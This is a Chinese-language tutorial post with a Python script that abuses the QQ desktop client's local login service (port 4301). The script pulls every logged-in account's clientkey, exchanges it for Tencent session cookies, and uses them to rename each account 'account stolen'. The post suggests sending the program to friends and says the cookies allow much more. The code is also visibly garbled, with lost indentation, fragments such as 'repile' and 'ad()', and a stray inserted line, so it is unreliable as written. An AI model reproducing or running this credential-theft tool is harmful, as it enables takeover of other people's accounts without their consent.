QQ⼤盗-巧⽤clientkey
场景:
1.将程序发给好友,好友打开 qq昵称就会被秒改为”账号已被盗“。
2.将程序运⾏在⾃⼰的电脑,让那些随意借⽤电脑看⽚聊天的室友产⽣⼀个觉悟:乱使⽤别⼈电脑很可能会泄露隐私。
思路:
通过数据包模拟⽹页中的qq快速登录拿到登录凭证(Cookie)修改qq昵称实现账号被盗的假象。
1、local_token:
qq快速登录是基于qq的客户端实现的,qq客户端启动时会⽣成⼀个local_token(保存在本地的⼀个钥匙),通过local_token访问qq客户端的本地服务器(4301端⼝)可以获取到电脑上登录的所有qq账号。
2、clientkey:
仅仅知道qq账号肯定是⽆法登录的,还要拿clientkey。可以把clientkey理解成密码,qq客户端登录成功
时会⽣成这个值,每个成功登录的账号都有⾃⼰的clientkey 相互匹配,只要拿到账号的clientkey就可以偷偷快速登录了。
3、cookies:
前⾯两步其实都是在本地⽹络下完成的,验证于qq客户端的本地服务器。现在提交uin+clientkey模拟快速登录是需要腾讯的远程服务器来验证的,验证通过就可以拿到登录凭证了(Cookies)。
4、ldw:
通过前⼏步我们已经拿到登录凭证了,可以为所欲为访问腾讯所有web端的服务了,现在我想修改账号的昵称。
我选择了通过qq个⼈中⼼的⼀个接⼝修改昵称,这个接⼝需要⼀个ldw值,并不复杂,⼀个get请求就能拿到。
实现:
以下使⽤python编程语⾔操作。
from urllib import request
from http import cookiejar
import json
import re
opener=None
cookie=None
local_token=None
json_uins=None
def modNick(index,nick):
clientuin=json_uins[index]['account']
clientkey=None
ldw=None
#拿到clientkey
url = 'localhost.ptlogin2.qq:4301/pt_get_st?clientuin='+clientuin+'&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=' + local_token
opener.open(url)
for item in cookie:
if (item.name == 'clientkey'):
clientkey = item.value
break
#登录
url='ssl.ptlogin2.qq/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin='+clientuin+'&clientkey='+clientkey
opener.open(url)
#拿到ldw
url="id.qq/cgi-bin/get_base_key?r=0.9431299830075388"
opener.open(url)
for item in cookie:
if (item.name == 'ldw'):
ldw = item.value
break
#修改昵称
url = 'id.qq/cgi-bin/userinfo_mod'
data = '&n=' + nick + '&ldw=' + ldw
res = opener.open(url, bytes(data, 'utf-8'))
data = ad()
if__name__=='__main__':
#opener初始化
cookie=cookiejar.CookieJar()
opener=request.build_opener(request.HTTPCookieProcessor(cookie))
opener.addheaders = [('Referer','xui.ptlogin2.qq')]
#拿到local_token
url='xui.ptlogin2.qq/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq%2Flogin%2Fproxy.html&s_url=id.qq/index.html'    opener.open(url)
for item in cookie:
if(item.name == 'pt_local_token'):
local_token=item.value
break
#拿到uins
改密码qq
url='localhost.ptlogin2.qq:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk='+local_token
res=opener.open(url)
json_uins=json.loads(repile('var var_sso_uin_list=(.*?);').findall(ad(),'utf-8'))[0])
#修改昵称
for index in range(0,len(json_uins)):
modNick(index, '帐号已被盗!')
最后说⼏句:
改个昵称啥的都是⼩事情,拿到Cookies可以做到的事情太多了。请以⾃我娱乐的意识去研究扩展,不要⼲扰影响他⼈⽹络环境。